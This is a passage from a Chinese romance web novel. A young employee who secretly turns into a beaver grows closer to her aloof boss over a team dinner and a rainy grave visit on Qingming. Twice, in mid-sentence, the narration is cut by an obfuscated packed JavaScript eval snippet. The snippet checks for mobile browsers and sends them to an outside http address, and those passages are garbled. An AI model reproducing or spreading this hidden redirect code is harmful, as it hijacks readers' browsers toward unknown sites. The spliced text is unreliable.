吃瘪的陈弋,竟然有那么一点可爱。 雨越下越大,两人也没有耽误太长时间,陈弋就开车送她回家。 到小区后,徐向迩依旧被包裹在卫衣外套里,他打着一把黑伞走在雨中,她偷摸露出眼睛,看了他一眼。 往常冷漠无情的陈弋竟然在冷冷的雨夜里,增添了一些柔和的气质。 怪不得都说他不近女色呢,她变成河狸后,他就态度极好,甚至有那么几个瞬间,陈弋都在偷笑。 困到快昏厥的徐向迩决定不和他计较。 到达徐向迩家门口后,陈弋打开门,直直走到沙发,将她放下后,扑了扑身上的雨水。 “谢谢你,陈总。”徐向迩从卫衣外套里露出脑袋,看着他的肩膀都被淋湿,有些于心不忍,“陈总,你可以用吹风机吹吹头发,再等雨小一些离开。” 或许是不放心她这只小河狸在家,陈弋低低地嗯了一声。 在浴室吹过头发后,他出来一看,河狸已经睡着,嘴里还哼哼唧唧说着梦话。 陈弋顿住,好奇地凑过去听,她在梦中的声音有些哽咽,“千语……签名。” 他顿时失笑,将一旁的毛毯盖在徐向迩的身上。 外面的雨还未停,没有转小的征兆。 但这是单身女下属的家里,陈弋想了想,还是决定离开,看了看阳台的门锁已经关好,陈弋就轻声合门,闯进雨中。 门关上的瞬间,有风闯进,徐向迩蜷缩起身体,轻轻蹭了蹭脑袋下方枕着的卫衣外套,有股淡淡的潮湿感,还混杂着熟悉的檀木香。 难得没有做噩梦。 / 关于贾于森的事,过去一两周后就已经没有人再提及。 职场就是这样。 大家喜欢看的是心机女想上位勾搭上司的戏码,可谣言在刚传出时就被扼杀,反而无法满足众人的期待。 于是就渐渐没人再记得了。 更何况事件的主人公是陈弋,那个看起来会把勾搭自己的女人直接从楼上丢下去的冷漠男人。 可信度并不高。 再加上徐向迩的澄清,说自己是加班过多导致晕倒,被陈总撞见才抱着她送医院的。 同事们就开始疯狂唾弃大魔王,也逐渐在其他部门传开,对他的刻板印象越来越深。 “都快放清明节的假了,这方案还改改改,我还是直接跳楼吧。”周慧疯狂挠着头发,“好想挖开陈弋的脑袋看看他到底想要什么创意。” 另一位同事接话,“哪怕他同意了,还有难搞的甲方呢,下辈子再学设计,我就是狗。” 周慧脚撑在地面,一蹬顺着办公椅滑过来,“尔尔,你弄好了么?” “弄好了。”徐向迩摸了摸她抱着的小猫抱枕,“别抱怨啦,快做完就放假了。” “你好奇怪,前段时间你可是疯狂骂他,怎么最近不参与了。” “……”她能怎么说,只能心虚地低下头。 毕竟陈弋前几天,才给了她两张千语的签名照。 再加上他还知晓自己的秘密,徐向迩就更不敢说他的坏话。 “也是,上次那事闹那么大,你肯定也不敢骂他了。”周慧蹭蹭她的肩膀,“尔尔,真的也是命途多舛。” 徐向迩抽出胳膊,“好了,你还是想想中午和我拼什么饭吃吧,我得去找他汇报了。” 走廊已换上新绿植,蹭过她的藕粉色开衫,她摸了摸绿植的叶子,倒是好几日没有变成河狸了。 徐向迩敲门后,走进陈弋的办公室,笑得眼角都出细纹,“陈总,这是活动的方案。” 哎,当打工人好累。 被顶头上司知道自己的秘密也好累。 陈弋把策划案扔在旁边,刮了刮眉骨,轻咳一声,“你没想出什么办法吗?” “你是说和大家亲近的事吗?” “不然?”他扫了她一眼。 你要是这个态度,谁愿意和你亲近。 “那你可事先说好了,千万要配合我。” “合同不是写了吗。” 垂着头的徐向迩听到这句话,翻了个白眼。 说起签合同的事,她就更生气。 前几日陈弋拟定秘密合同,把她叫进办公室里去签。 她看了一遍,合同也不复杂,总体来说就是互帮互助,但条款上多以陈弋为主。 徐向迩指着某条问:“陈总,这条的意思是我在其他同事面前,要努力多夸夸你,不说你的坏话?” “嗯。” “?”她蹙着眉头,“那也没有什么证明啊,你也不知道我有没有说啊。” “你提醒我了。”陈弋坐在沙发上还摸着那道划痕,思索两秒,“夸一条给你一百,想必你应该会努力。” 虽然人格上受 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周慧你们一定要体谅我啊。 “所以,陈总,要不就约明天下午,提前下班吧,晚上的话肯定很多人不愿意。” 陈弋没说话,撩了两下水面,有只胆小的鱼凑过来,又迅速游到水底。 “好,我让助理安排好。” “好勒,那咱们能不能吃湘菜馆啊,或者是吃烤肉,附近有家店超好吃,比上次那家好吃多了。”徐向迩的眼睛眯起,说起吃饭她就放松下来,“到时候可以喝点酒,大家就会放松一点,这样可以多聊聊天啦。” 陈弋转过身,沾了水的手指泛着湿,“嗯,你把地址发给助理。” 倒也不必。 仿佛知道她在担忧什么,陈弋抽出纸巾擦手,“他不参与办公室那些事,不会乱说。” “好的!” / 次日傍晚,策划部大部分的同事都选择参与聚餐团建。 陈弋第一次请客吃饭,是什么鸿门宴,大家也要去凑个热闹。 落日掩在楼宇大厦之间,落在路两边的杨树上,金灿灿的枝叶随着晚风摇晃。 城市里太多疲惫的人,携着落日余晖走去不同的目的地。 喧嚣与落寞中,不少人会选择在外面与好友共进晚餐,喝些小酒去消解白天的委屈与酸涩。 不大的烤肉店,将近一半都坐着徐向迩的同事们。 落座前,没人愿意空着位置给陈弋,让来让去,最后大家一致决定让他坐在自己的“绯闻女友”徐向迩的旁边。 她勉强扯了扯嘴角,“你们就趁他来得晚,尽情挤兑他吧。” “说真的,尔尔,你不知道陈总为啥非要请客吃饭吗。”同徐向迩坐一桌的男同事边倒酒边问,“难道是他要离职了!” “卧槽,那可太棒了。”其他人附和。 徐向迩把给陈弋准备的矿泉水放在桌面,顺便将他位置前的桌面擦拭一番,“我说,陈总也没有那么冷漠吧,感觉他就是太敬业,太严格了,这样对我们也挺好的。” 这轻飘飘的话,让他们都纷纷避开她,继续激烈讨论。 趁着他们聊天的间隙,徐向迩垂头给陈弋发消息。 「陈总,一百块!」 如果成为陈弋的吹彩虹屁大队队长,那她一定可以赚翻。 可违心的话不能说太多,她怕哪天下雨打雷,把自己劈死。 没过几秒,陈弋就回复消息,发了个红包。 「马上到。」 11. 晚樱 周围的桌上有人在逛三园,整个烤肉店都像是快要沸腾的热水壶,即将将壶盖顶破天。落地窗外是落不尽的晚樱,来来往往经过的行人,像是适合春夜观看的文艺电影,缓慢无忧。 徐向迩不停地看向店门口。 每次有人进来,却都不是陈弋时,她的杏仁眼都明显耷拉下来,鲨鱼夹夹起的头发跟随着抬头低头的动作摇晃,似垂在水面的柳枝起起伏伏。 直到,有个穿着黑色衬衫和西装裤的男人迈着长腿走进来,站在门口四处张望,锁定徐向迩的位置后,才朝着她走过来。 她看到陈弋出现,没忍住挥手示意自己的位置,身旁的同事都诧异地看着她,那伸出的手又尴尬落下,摸了摸鼻尖。 他走过来坐在徐向迩的身旁,渡过来淡淡的檀木香。 或许是烤肉店气温高,他将衬衫扣子解开两颗,露出曲线漂亮的锁骨。 随着他挽袖子的动作,有朵樱花从那他的身上落下。 徐向迩盯着那花瓣落在地上,静静躺在她的脚边,她无意识捏紧手里的紫苏叶,移开目光。 同桌的同桌停下在聊的话题,异常拘束地盯着他不说话。 气氛有些诡异。 “马上熟了,都快吃呀。”徐向迩夹起几块肉,放到周慧的盘里,又夹了一些烤好的肉放入陈弋的盘中,“陈总,快吃啊,酱料是给你调好的。” 其他人都瞪大眼睛看着她,满脸不可置信,虽说是“绯闻女友”,但也只是私下大家开开玩笑,在陈弋面前也无人敢造次。 徐向迩竟然给他夹肉? “嗯。”陈弋轻笑,抬眼看了他们一眼,隔壁桌也有同事望过来,他敛起眼眸,冷淡开口,“看着我做什么,都不吃吗?” “哦哦哦,吃吃吃,都开始吃吧。”男同事张罗起来,其他桌也恢复热闹。 只剩徐向迩他们这桌继续沉默,像是被包围的岛。 她耸耸肩继续喝冰啤酒。 下班后,徐向迩就喜欢喝酒解乏,骨头都在冒泡,舒服极了。 她沉浸于喝酒,懒得管与陈弋的协议,才不想照顾他。 可看着陈弋坐在一旁,沉默无言,尴尬的具象化。 周围的人也不舒服。 徐向迩依旧于心不忍,双眼一闭,低头给他发消息。 「陈总,你可以帮忙烤肉啊,给他们也分分肉,也可以陪他们一起喝酒聊聊天,这样才能亲近啊。」 陈弋扫了一眼手机,没有回复就息屏。 他思考片刻,拿过桌上的夹子和剪刀,开始帮忙剪肉。 周慧的上半身往后一仰,朝徐向迩使眼色。 他这是要干什么啊,咱们不会都要被辞退吧。 偏见,赤裸裸的偏见。 徐向迩竟然觉得他有点可怜。 陈弋剪五花肉,不知是不是操作问题,总是剪不断,看起来很困难。 半天才剪完一块肉。 “那个,陈总,要不我来吧。”男同事看不下去他不利索的模样,忍不住开口阻拦。 “没事,我帮你们烤。” 一开始徐向迩还以为他们大惊小怪,直到她塞进一口烤糊的肉,才意识到陈弋毁了这一盘完美牛肉。 徐向迩抬眸,看见其他人也是一言难尽。 “……那个,陈总,不然你还是别烤了,我们压力好大。”那位话多的男同事忍无可忍,勇敢开麦,一桌人期盼地看着他。 “为什么压力大?”陈弋诧异,放下剪刀,想起他是谁,“不过,你这几天的方案做得……” 刚想喝酒的徐向迩顿住,在桌下踢了他一脚。 他瞟了她一眼,思索两秒,“做得不错,再接……再厉。” “吃饭就不聊工作了,陈总。”徐向迩把他面前的夹子拿过来,“你还是别烤了,都糊了。” “……”全员都看向她,组里最勇的打工人就是她。 她眯眼笑,都别太感谢了。 是我亏欠了你们。她最终还是与上司站在统一战线了。 秘密原本就只是秘密,但被上司知道之后就变成了定时炸弹。 陈弋看着她满脸通红,眼睛紧盯着肥牛,认真烤肉的虔诚表情,忍不住唇角上扬。 “哦,好吧。” 第一次受到陈弋夸奖的男同事倒是来劲了。 他站起来敬酒,“诶,陈总,感谢您今天请客吃饭,真是破费了。” 陈弋看了眼自己的茶杯里都是徐向迩倒的矿泉水,他将水喝尽,把徐向迩的那瓶啤酒拿过来,倒了一杯。 徐向迩蹙起眉,凭什么倒她的酒,自己不会开新的吗。 陈弋青筋显露的手臂从她面前经过,与男同事碰杯,耳边是他难得不沉闷的声音,“不破费。” 充斥着烤肉和孜然味的空间里,他的味道却仍无法忽略。 也不知是不是烟雾缭绕,还是所有人都在微醺的状态。 总感觉陈弋不似平日那般严肃无情。 “陈总,原来您也没那么难相处啊。” 也不知是谁开口说了这句话,令陈弋微微一怔,随即轻笑出声,“之前对你们太严格,你们别介意,以后……互相体谅。” 切。 这男人好装。 既然他已经开始喝酒,那么部门里那些男人就不会放过他,时不时有其他桌的来敬酒,他露出鲜少出现的笑容。 大魔王突然变成平民,所有人都忍不住好奇。 等到男同事都敬完酒,陈弋不知喝了多少杯,徐向迩的酒也已见底,她撇了撇嘴,抬起手挥了挥,“服务员,再给我一瓶。” 也不知何时起,她已经摘下束缚住头发的鲨鱼夹,长发微微卷起,泛着红晕的脸颊也让她愈发生动可爱。 陈弋在众人注意力不在此处的间隙,将她的手拉下,低声劝道:“少喝。” “才不要,现在是下班时间。”她松开他的手,挥挥手喊服务员,“这里再要一提酒。” 一直喝到将近九点,众人才决定各回各家。 站着烤肉店门前,有的家属来接,也有的匆匆去赶去地铁。 “陈总,拜拜。” 许多人都在离开前微微颔首,和陈弋打招呼告别。 徐向迩则站在树下,盯着不断落下的樱花,张开嘴去接花瓣。 一朵没接到,她有些懊恼。 就剩她一人,陈弋回身问她,“你怎么回去?” “坐公交吧。”她今日想看路边盛开的花,不想坐地铁。 徐向迩摇晃着身体,想走去对面的公交车站,他拦住她前进的方向,“我送你吧。” “不用了,陈总。”她可不想被同事撞见。 “我送你。” 陈弋已经叫了代驾,对方已经快要到达。他拉着徐向迩走到停车的地方,等待着。 或许是附近有柳树。 飞絮又出现,徐向迩打了几个喷嚏。 她揉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585585|171729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了揉鼻子,“好讨厌。” “什么?”她的声音如蚊,有些难以分辨。 陈弋微微低身,凑近她的脸,能清晰看到她皮肤上的绒毛,他喉结滚动,别开脸,“说了什么?” “我说讨厌你。”徐向迩踢走一旁的石子,垂着头生闷气。 陈弋看着眼前鼻尖通红的人,“为什么?” “因为你知道我的秘密。” “你是说变成河狸的秘密?” “你别说出来,万一被人发现了怎么办!”徐向迩伸出手堵住他的嘴,四处张望,眼底充满纯粹的慌张,“我可不想被抓去实验室,很可怕的。” “呜呜呜,我明明就是想赚钱买个房子而已,为什么我的命这么苦。” 徐向迩眨着眼睫,眼里浮上水雾,看来是真委屈上了。 和当时撞他车尾时一样的神情,陈弋闷笑,捉住她的手掌,“好,我们去车上小声说。” 站在远处的代驾和他打过招呼,他带着徐向迩一起坐在后座。 和代驾说过目的地后,陈弋侧过头看向坐在一旁的人。 她似乎还沉浸在不安的情绪里,他瞄了眼代驾。 陈弋想到徐向迩说过,情绪会让她变成河狸。 他摩挲着手表镜面,试图转移话题。 “徐向迩,我今天表现还可以吗,他们应该和我亲近了吧。” 闻言,徐向迩支起身体,大开的车窗吹拂过她的发丝,有些飞到他的脸上。 “不太好。” “哪里不好?”陈弋伸手想帮她捋过碎发,伸出的手悬在空中,怔了一瞬,又收回了手。 低着头的徐向迩,自顾自地掰着手指认真分析道:“首先哈,你不能穿西装去啊,大家会觉得有距离感,有种在上班的感觉,第二就是你想聊工作,聚餐是最忌讳聊工作的,没人会开心!然后,然后你说话太板着脸,你可以多笑笑啊。还有还有,你身上太香了,好香,熏得人难受。” “?”陈弋只是随便问问,她却滔滔不绝,他仰着头,无奈吐出一口气,“我表现这么差啊。” 声调很淡,像松枝上的雪扑簌簌地落下。 “没事的,别太难过,再接再厉。”徐向迩拍了拍他的肩膀,叹了口气,“其实你已经挺不错了的,很少有领导会像你这么做,虽然是为了让大家都不离职……可你已经很好了,会越来约好的,别灰心。” 还学他说话。 陈弋哭笑不得,偏头看向她,放在自己肩头的手还未收回,纤细白皙的一截小臂露在外面,抬眸瞥到徐向迩泛红的小脸,眼神算不上清醒,他敛起眼眸,想到自己心理医生说过的话。 心理医生说,抓住那个突破口。 如果真的想忘掉痛苦,像普通人那般生活的话,就离那些鲜活的人再近一些,让自己的心被焐热。 眼前的人会是那个选择吗。 “嗯,会越来越好的。”陈弋想让她坐稳些,她却一头栽在他的肩膀,嘴里还在哼哼唧唧。 “不想……做方案了……” 陈弋的喉间溢出低低的笑声,任凭她靠在肩头沉睡,他越过她乖巧的睡颜,看向窗外。 车窗外是转瞬即逝的一路晚樱,是稀松平常,本不会有记忆点的春夜。 往常这样的夜晚,陈弋只会坐在家里的沙发上,看着鱼缸发怔。 而此刻,徐向迩温热的气息吹过他的脖颈,竟令他有些惊慌失措,紧紧攥起拳,不断吞咽下口水。 12. 墓园 放假第一天,徐向迩被外面一阵猛烈的电钻声惊醒。 宿醉后的脑袋也犹如被钻头穿过,好痛。 为什么放假第一天要如此对她。 她走到厨房一看,空荡荡的水壶,于是先烧了一壶水,而后拉开阳台的纱帘,透过稀疏的绿植,她看到工人在维修路面。 哎,原来还有人无法放假,她顿时无法再发脾气,灰溜溜回到房间。 喝过蜂蜜水后,徐向迩就瘫倒在沙发刷手机,直到夜幕降临,她才点了份外卖。 所有的假期,她都是这样不人不鬼地度过。 只吃一顿外卖就好。 就这样,清明假期第一天过去。 清明节当天,徐向迩起得很早,她吃过早餐后,站在柜子前,给父母的照片上柱香。 她看着照片旁的红色包装纸包裹起来的盒子,眼睫颤抖,双手合十拜了拜。 那时父亲出事后,他的同事们给她的。 是父亲准备的生日礼物。 这么多年她都没有拆开过,红色包装纸都有磨损的痕迹。 但徐向迩不愿打开,是不想原谅,也不想失去唯一的念想。 就在那放着。 放到遗忘掉最好。 / 母亲的坟墓在江禾市的郊区,父亲也在附近的警察陵园。 徐向迩往常去那里都是坐着公交车前往。 每年,她也只会在自己的生日前后或者清明前后去看望父母。 在家附近的花店买上三束简单的花束,徐向迩坐上公交车,前往墓地。将近一小时的公交车,她习惯坐在最后一排靠窗的位置,戴着耳机看着风景。 从城市逐渐开到空旷的郊区,车顶触碰到路边垂着的柳枝,也会蹭过车窗边缘。 徐向迩昏昏欲睡时,已经到达陵园附近。 还要再走上一段路。 她走在空荡的林荫大道上,周围停满车辆,远处的墓园里有隐隐约约的行人。 都是来看亲人的吧。 徐向迩摸了摸怀里的花束,幸好她对花没有特别过敏。 她先去看过母亲,虽然没有见过她,但父亲徐鸣总说她是个极温柔的人,照片里的人也确实如此,母亲扎着马尾辫从一侧露出,笑得非常温柔。眉眼间,徐向迩与她有些相像,身边那些长辈总会这样说。 可是妈妈,我似乎一点都不像你那般温柔体贴。 和母亲说了会话之后,徐向迩前往父亲所在的陵园。一张张照片里的人都穿着警服,这里的气氛格外肃穆。 她先去看望了父亲的师傅,那是他刚进警局时,引领他的前辈。 徐向迩叫他大伯。 他在徐向迩小学时去世。 自那之后,两人一起来看妈妈时,父亲就会来这里与过世的师傅聊上几句,再喝几口酒。 所以他离开后,徐向迩来这里,也会给大伯带上一束花。 终于,来到徐鸣的墓碑前。 徐向迩用手拂去灰尘,把花放在上面,“爸爸,今天没带酒,我前两天喝太多了,就不和你一起喝了。不过你也不用着急,等会你的朋友们都会来的,他们肯定会给你带酒的。” 好涩。 她说不出话,索性坐在一旁发呆。 没坐多久,刘叔和刑侦队的人就过来了。 徐向迩抹去眼角的泪,低身鞠躬,“叔叔阿姨,好久不见。” 他们来看望的人,不会只有父亲一个。 徐向迩无法想象他们的痛苦。 刘叔站在草丛前,喝着啤酒,“小耳朵,上次处理的那人,没有再找你麻烦吧。” “没有,早就不知道去哪了,别担心。” “上次的事,被他们知道了,非要去公司找你。”刘叔指了指身后那群人,“幸好我把他们拦住了。” 徐向迩眼睛弯着,“我又不是小孩了。” “你当时可是团宠啊。”刘叔看着眼前已然成为大人的徐向迩,欣慰一笑,“现在也是,有事就来找我们,别……别太记恨他了。” 她敛眸不语。 远处起风了,大片林子随着风摇晃。 晴朗的天幕有些低垂,逐渐阴沉下来。 “他也是执行任务,那孩子当年也才十六岁——” “刘叔,别说了,我都知道。”徐向迩咬着唇,抑制住快失控的情绪,“我现在生活得挺好的,没关系的。” 可是我当年也不过十二岁,就没有了父亲。 这话她不会说,她可以委屈,可以怨恨,但不能让他的职业荣耀在自己女儿面前蒙了尘。 据徐向迩的了解,那次徐鸣是在负责一个绑架案,富豪的十六岁私生子被绑架。 那小孩几乎是被抛弃的状态,只有警察在奋力拯救他。 警察去救他时,那个私生子已经在货车集装箱里待了五天。 绑架犯想杀死人质时,徐鸣先赶到场地,冒着火撬开集装箱,让小孩披着湿衣服跑了出去,可他却没出来。 其他警察到现场时,徐鸣已经不在了。 阴沉的天下起小雨。 刘叔和其他警察已经前往其他同事的坟墓前去探望。 她和他们告别时,那些未见过的年轻警察回身和她挥手。 徐向迩扯了扯嘴角,也伸出手臂挥了挥。 她的眼眶瞬间湿润。 许多年前,文瀚哥也是这样和她打招呼的。不过他今天没有来,方才问起时,刘叔说文瀚哥被调到其他城市去调查重案,暂时无法来看自己的师傅。 爸爸,文瀚哥也已经是成熟的刑警了,你看到他现在这般成功,也会骄傲的吧。 可我却没有什么成就,不像你,也不像他们。 雨落在墓碑前的花上,她蹲身去抖落花瓣上的雨滴,可雨却越下越大。 徐向迩盯着父亲的照片,混杂着雨水,嘴唇都要咬破。 “可是,你救过那么多人,他们有来看过你么。嗯?爸爸,你当年救的那个男孩,他怎么从没有来看过你。” 她叹了口气,想起身离开时,体内却又出现熟悉的不适感。 徐向迩瞬间消失在草丛间。 又变成河狸了。 哎…… 她索性躺在水坑里,落下的雨滴撞在叶面上之后,弹落在她的河狸鼻子上,害她打了个喷嚏。 不该那般难过的,没有控制好情绪才会又变成河狸。 怎么学不会平静呢。 现在可怎么办,这可是离家有一小时车程的郊外! 好饿,徐向迩看向远处雾蒙蒙的树林,郁郁葱葱,枝干随风摇晃着。 忍住,忍住,别和没见过世面的河狸一般。 她努力不去看那片丛林。 放在墓碑前的挎包突然传出一阵震动声。 哦!手机!手机没有在身上,所以也就没有跟着变成木棍! 徐向迩突然想到了一个荒诞的办法。 找陈弋。 这应该算是紧急状况,她可以求助的吧。 徐向迩悄摸揪住挎包肩带,哒哒哒跑进一旁的草丛里,她找出手机,用小爪子按动屏幕,半天的操作之后,终于成功拨打了陈弋的电话。 嘟嘟几声,电话被接通。 “陈总……我又变成河狸了,你能不能帮帮我啊。” 如果陈弋不能帮忙,她就找个草丛睡一晚好了。 “在哪?”他平淡的语调,让徐向迩的情绪渐渐平稳。 “……可能有点远,在郊区的墓园。”雨水在她的毛发上聚成一团,她抖了抖小小的身体,看着雨滴滑落,“陈总,雨下的好大,好冷。可你要是还忙着,就不用过来了,我再自己想想办法吧。” 徐向迩抽泣几声。 言下之意是,如果陈弋你还算个人的话,就快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585586|171729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点出现吧。 “具体位置发我,五分钟到。”他说完这句话,就挂断电话。 徐向迩眨了两下眼,才反应过来,把自己所在的位置发给他。 五分钟?真的假的。 哦,清明节在这也不奇怪。 原来他也有想念的人啊。 徐向迩没有停留,还下着大雨,她不可能让陈弋冒雨进陵园找自己,于是就发了消息过去,自己会在入口的草丛等待他。 发完消息,河狸眨了眨小眼睛,一鼓作气地拖着小尾巴,顺着草丛一阶一阶爬下去。草丛的台阶有些过高,她拽着挎包的背带,脚蹼尝试着往下踩,稳当之后才会松开爪子,就这样,一路爬到了入口的草丛里。 没过一会,入口处就出现了个疏冷的身影,打着黑伞,黑色皮鞋踩在雨水中,扬起水花,沾湿他的黑色西装裤。 她站在草丛角落,小小一团跳起来和陈弋打招呼。 他寻找到她的身影,唇角一勾,小小河狸还怪可爱的。 “陈弋,这里,这里。” “看到你了。”陈弋低下身,看着她的脸,竟在河狸的小脸上看出委屈的表情。他把搭在手臂上的西装外套放在腿上,“快上来,我带你出去。” 救命恩人。 徐向迩点点头,爬到他的外套里,又是熟悉的味道。她蹭了蹭衣服,手里还抓着方才摘下的湿漉漉的木棍,好温暖的怀抱。 不是孤单面对这一切,真的令她松了一口气。 陈弋起身,抱着她转身离开,快走到门口时,值班室里的保安开着窗户,“那草丛里有什么啊,哥们,别是有蛇,我还得去抓。” “不是,是只小猫,我抱走了。”陈弋话里含笑,而后掩了掩雨伞,转身离开。 徐向迩在衣服里听到他的话,忍不住用脚一蹬,他闷哼一声,低低地笑着,“老实点,不然再把你丢回去。” 哎,她算是被人捉住尾巴咯。 之前的感动她要通通收回去,可恶的大魔王! 等回到陈弋的车上,徐向迩从西装外套出来,跳到副驾驶座,木棍掉在中控台上。豆豆眼瞥了他一眼,又迅速把木棍收到怀里,一屁股坐在座位上,揉了揉鼻尖。 “我又不吃树枝,你怕什么?”陈弋挑眉,弹了她脑门一眼,从后座拿过毛毯,“盖上吧,别感冒了,影响上班。” “哦,谢谢陈总。”河狸用毛毯裹住自己,咬了两口树枝,碎屑落在毯子上,她赶快抹去,偷瞄了他一眼。 陈弋望向窗外,以她矮小的角度,看不清他的神情,可仅仅只是侧影,也能看出孤单的意味。 雨噼里啪啦砸在车顶,似乎不准备停下了。 山间升起大雾,看不清来往的车辆,只有朦胧的车灯提示着仍有人在来来往往。 “最近好多雨啊。”河狸啃完树枝,终于有心思说话。 “嗯。”陈弋擦了擦身上的雨水,打开刮雨器,“等一会,再送你回家。” 徐向迩看到他这样,莫名心里空落落的。她看了一眼电子屏,现在才不到正午。 “陈总,其实与同事们亲近,还有一种办法。” 不知她为何说到这里,陈弋转过脸,手臂撑在窗沿支着脸,盯着她看。 他的语气冷淡,“什么?” 越界就越界吧。 她实在无法视而不见。 “大家都不太了解你,才会对你妄加揣测,流言满天飞,你可以让大家了解了解你。” “怎么了解?” “尝试着说一些无关紧要的事,人和人之间就是多聊闲事,才会越来越亲近啊。” “比如?” “比如,我今天来这里,是为了来看我死去的父母。你是为了什么?” 陈弋眸色渐黯,按下车窗,清凉的风闯入,携带着雨水的潮湿。 他没说话,可徐向迩却太过熟悉那种眼神。 13. 细缝 “这是无关紧要的小事?”陈弋声线低沉,夹着沙哑的颗粒感。 窗外的雨滴飘进车内,落在徐向迩的身上。 她打了个冷颤,窝进毯子里,只漏出黝黑的眼睛,声音颤抖,“得看你这个听者如何看待啊,你又没有很震惊,所以就没什么大不了的。” 陈弋看她裹得严实,把车窗关小,沉默片刻。 雨噼里啪啦地砸在车身,可世界却静了一瞬,哪里悄悄开了一条细缝。 “我来是去看我妈,不过我很小的时候她就去世了,很多都忘记了,似乎也没有见过很多面。” “好巧,我一次都没有见过。”徐向迩掀起毛毯,小爪撑在中控台,眨巴着小眼睛望着他。 “……”陈弋第一次被噎到。 但看着她的模样,陈弋却说不出话,伸出手摸了摸河狸的脑袋。 顿时,两人都愣住。 徐向迩傻笑,坐回副驾驶座,挠了挠脸,“好摸吧,我也没想到河狸竟然这么可爱。” “嗯。”陈弋别开脸,看向车外,雨已经转小,雾气也散去,“走吧,我送你回家。” “麻烦陈总了……” 也不知道怎么就和上司纠缠上了。 原来这个世界里很冷漠很讨厌的人,也会有伤心事啊。 徐向迩看着陈弋开车的侧颜,甚至有时候,他都没有那么不顺眼了。 也没有那么令人讨厌。 车在山间行驶,平稳行驶到市区。 雨过天晴,在周遭车喇叭的声响中,徐向迩睁开了眼睛,伸了个懒腰。 不知不觉中她竟然睡着了。 陈弋开车太稳妥,再加上她变成河狸折腾一番,太过疲惫,以及去看父亲真的是一年一度心碎事件,难免伤神。 她看了看自己的身体,耶斯!又变成人类了! 假期没有完全毁掉。 “陈总,我变回来了!” “嗯。”陈弋在等绿灯,闻言,睨了她一眼,“你要不擦擦口水?” 徐向迩拉下遮光板,看向镜子里的自己,小脸憔悴,但根本没有口水。 她翻了个白眼,合上遮光板,看到路边的人都在抬头拍照,好奇地拉下车窗,顺着众人的目光探去,“陈总!彩虹!” “哦。” 徐向迩继续独自快乐,“还是双层夹心彩虹!” 坐在驾驶座的人,扶额,“坐好,马上绿灯了。” “好吧。”她撇撇嘴。 开车到小区门口,徐向迩左右张望了一下,才下车。 她趴在车窗,“陈总,谢谢你,真的非常感谢,下次我保证多给你提提建议哈。”话音落下,她又看了一眼经过的人,暗自松了一口气。 “你是贼吗?” 徐向迩讪讪一笑,“陈总,拜拜,公司见。” 她还不是怕小区里那些八卦的大妈们议论吗,万一误会什么,她要解释好久。 徐向迩告别后,转身跑进小区,走到楼下时,住在对面的阿姨正在往外搬沙发。 “阿姨,你这一个人在干什么?” “哦哦,我儿子给我买了新沙发,他搞了个什么咸鱼,也不知道是什么,把这个卖出去了,人家同城提货。”阿姨正在往外拉沙发,“我不想让人家知道具体住址,就想着约在小区门口。” 徐向迩已经上手帮忙抬沙发,“阿姨,我和你一起弄过去吧。” “谢谢小徐了。”两人一起抬就轻松许多,阿姨也有空闲聊,“你楼上那个邻居最近怎么样?” “还是天天喝酒,好像是失恋了。”徐向迩的手腕搬得有些酸,嘴里嘟囔,“这房子隔音不好,老是能听到他哭。” “小徐你还是早点找个对象结婚吧,这样也能找个好地方住。” “嗯,我会的。” 我会凭自己买个好房子住的。 两人走走歇歇,等到小区门口,已经是十分钟后。 阿姨直接坐在旧沙发上,“小徐,谢谢你了,有好的小伙子,阿姨会给你介绍的。” 徐向迩扯了扯嘴角,“哈哈哈,那谢谢阿姨。” 她目光一转,却看到停在不远处的车并没有离开。 陈弋还在车里坐着。 远远地看不真切。 徐向迩连忙和阿姨道别后,朝着他的车走去。 阳光融融,地面的积水上沾着飞絮,她避开那些水坑,走到车窗前敲了敲。 车窗下移,陈弋微凉的眼眸看向她,一时无话。 车停在树下,阳光透过枝干罅隙,落在徐向迩的脸上。 她的眼睛明亮,带着些疑惑,“陈总,你怎么还不走,是……哪里不舒服么?” 陈弋面无表情,敛起眼眸,右眼下的那颗痣,让他看起来颇为厌世,似乎轻轻一碰就会散去的魂魄。 “没什么,马上就走了。” 他伸出手去抓安全带,眼睑下略显青色。 徐向迩倏地内心烦躁,陈弋就像是风吹过柳絮,在小角落形成的龙卷风,惹得她发痒。 “陈总,你下午有事吗?” “没,怎么?”他掀起眼皮,瞥了她一眼。 徐向迩狠了狠心,终究是主动发出邀请,“今天你救了河狸一命,我带你去玩吧。” 陈弋想说倒也不必,可看她跃跃欲试的模样,竟说不出拒绝的话。 他嘴巴翁张,最后只是点了点头。 徐向迩将他赶到副驾,自己坐上驾驶座,催促他,“陈总,系好安全带,咱们保护河狸小分队出发咯。” / 徐向迩带陈弋去附近商场里吃了一顿上次没能吃到的湘菜。 然后带他前往目的地,商场三楼的电玩城。 节假日的商场人满为患,电玩城里也摩肩接踵,人潮最拥挤的地方是跳舞机,都围在四周看玩家跳街舞。 徐向迩瞥了几眼,就去前台的机器扫了两张卡,分别充值了一百块。 她递给陈弋一张卡,“喏,陈总,今天大玩特玩吧!” “怎么玩?” “啊?”徐向迩回过身,看他站在出币机旁,和周围嘈杂的环境格格不入,“你没玩过?” “没有。” “好惨,你没有童年。” 